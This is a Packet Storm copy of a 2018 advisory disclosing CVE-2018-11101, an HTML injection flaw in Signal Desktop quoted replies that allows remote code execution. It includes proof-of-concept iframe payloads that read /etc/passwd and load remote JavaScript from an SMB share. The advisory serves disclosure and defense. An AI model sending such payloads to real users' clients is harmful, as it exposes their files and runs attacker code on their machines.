Twenty Year Anniversary

Signal Desktop HTML Tag Injection Variant 2

Signal Desktop HTML Tag Injection Variant 2
Posted May 16, 2018
Authored by Juliano Rizzo, Alfredo Ortega, Javier Lorenzo Carlos Smaldone, Ivan Ariel Barrera Oro, Matt Bryant

This advisory documents proof of concept flows for manipulation the HTML tag injection vulnerability discovered in Signal Desktop. Versions affected include 1.7.1, 1.8.0, 1.9.0, 1.10.0, and 1.10.1.

tags | exploit, proof of concept
advisories | CVE-2018-11101
MD5 | 660bd6347ef764f0453a90d36941066a

Signal Desktop HTML Tag Injection Variant 2

Change Mirror Download

Title: Signal-desktop HTML tag injection variant 2

Date Published: 2018-05-16

Last Update: 2018-05-16

CVE Name: CVE-2018-11101

Class: Code injection

Remotely Exploitable: Yes

Locally Exploitable: No

Vendors contacted: Signal.org

Vulnerability Description:

Signal-desktop is the standalone desktop version of the secure
Signal messenger. This software is vulnerable to remote code execution
from a malicious contact, by sending a specially crafted message
containing HTML code that is injected into the chat windows (Cross-site
scripting). This is a new variant of CVE-2018-10994.

Vulnerable Packages:

Signal-desktop messenger v1.7.1
Signal-desktop messenger v1.8.0
Signal-desktop messenger v1.9.0
Signal-desktop messenger v1.10.0
Signal-desktop messenger v1.10.1
Solution/Vendor Information/Workaround:

Do not trust user input. Sanitize it by encoding HTML tags or
filtering them. Also, a CSP header is missing, that would deter the
action of iframes. Include aframe-src anone'a or, if required,
aframe-src aself'a in the CSP declaration.

For final users: Upgrade to signal-desktop messenger v1.11

Credits:

This vulnerability was found and researched by Barrera Oro, IvA!n Ariel
(@HacKanCuBa), Bryant, Matt (@IAmMandatory), Ortega, Alfredo
(@ortegaalfredo) and Rizzo, Juliano (@julianor).

Technical Description a Exploit/Concept Code

After publishing CVE-2018-10994, Matt discovered that the vulnerability
prevailed but the attack was a bit different: the attacker needs to send
HTML code directly as a message, and then reply to that message to
trigger this vulnerability. The Signal-desktop software fails to
sanitize specific HTML tags that can be used to inject HTML code into
remote chat windows when replying to a HTML message. Specifically the
<img> and <iframe> tags can be used to include remote or local
resources. For example, the use of iframes enables full code
execution, allowing an attacker to download/upload files, information,
etc. The <script> tag was also found injectable. In the Windows
operative system, the CSP fails to prevent remote inclusion of resources
via the SMB protocol. In this case, remote execution of JavaScript can
be achieved by referencing the script in a SMB share as the source of an
iframe tag, for example: <iframe src=\\DESKTOP-XXXXX\Temp\test.html> and
then replying to it. The included JavaScript code is then executed
automatically, without any interaction needed from the user. The
vulnerability can be triggered in the Signal-Desktop client by sending a
specially crafted message and then replying to it with any text or
content in the reply (it doesnat matter). Examples:

Show an iframe with some text:
<iframe srcdoc="<p>PWONED!!</p>"></iframe>

Display content of useras own /etc/passwd file:
<iframe src="/etc/passwd"></iframe>

Include and auto-execute a remote JavaScript file (for Windows clients):
<iframe src="\\XXX.XXX.XXX.XXX\Temp\test.html"></iframe>

Show a displacing base64-encoded image (bypass aclick to download imagea):
<marquee><img
src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/wAALCAAtADwBAREA/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/9oACAEBAAA/AMapRbv5YckKD0z1pPJbjJAzSGIgjcQMnFEkZSTZkE+1STWksTKrAZbpThYzfLuAUN3JFJ9kkyeV4PrTBFyNzCpSGuZiRgY4ArRgtAvzSfMfSqN3EYpjsA2noTg1B87HlqNrnqxP40nlt6ml8pvWo/MY/wARqzAzcEVorK24RuAAw4IqLUo2EKFFJIOM9azN8oOMkfhTz9oVdxDhfWlR3ZOWJ/Gpdzep/OqVTQEq2MVpo4aNWABKHnNLIzNHGW7OST6DFZ92wEoAGAvX3qNrl/KaEH5CePaliPyYqVTwKrIu41O1u0Z4BP06irUDKiky5DYx04p8sxddpwFA6etZcrFnJPepLa2NwSFPIoQbQVPUHFTLjFUskd6d5j/3m/Ok3sf4j+dG9j/EfzpKVXZPusR9DSZPrS7j6mv/2Q=="/></marquee>
Timeline:

2018-05-14 19:00 GMT-3: vuln discovered
2018-05-14 20:00 GMT-3: emailed Signal security team
2018-05-14 20:21 GMT-3: reply from Signal: vuln confirmed & patch ongoing
2018-05-14 21:47 GMT-3: signal-desktop update published
2018-05-16 11:00 GMT-3: public disclosure
References:

Patch:
https://github.com/signalapp/Signal-Desktop/compare/v1.11.0-beta.2a|development
CVE-2018-11101 write-ups:
https://ivan.barreraoro.com.ar/signal-desktop-html-tag-injection-variant-2/

https://thehackerblog.com/i-too-like-to-live-dangerously-accidentally-finding-rce-in-signal-desktop-via-html-injection-in-quoted-replies/
CVE-2018-10994 write-up:
https://ivan.barreraoro.com.ar/signal-desktop-html-tag-injection/


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    9 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    34 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close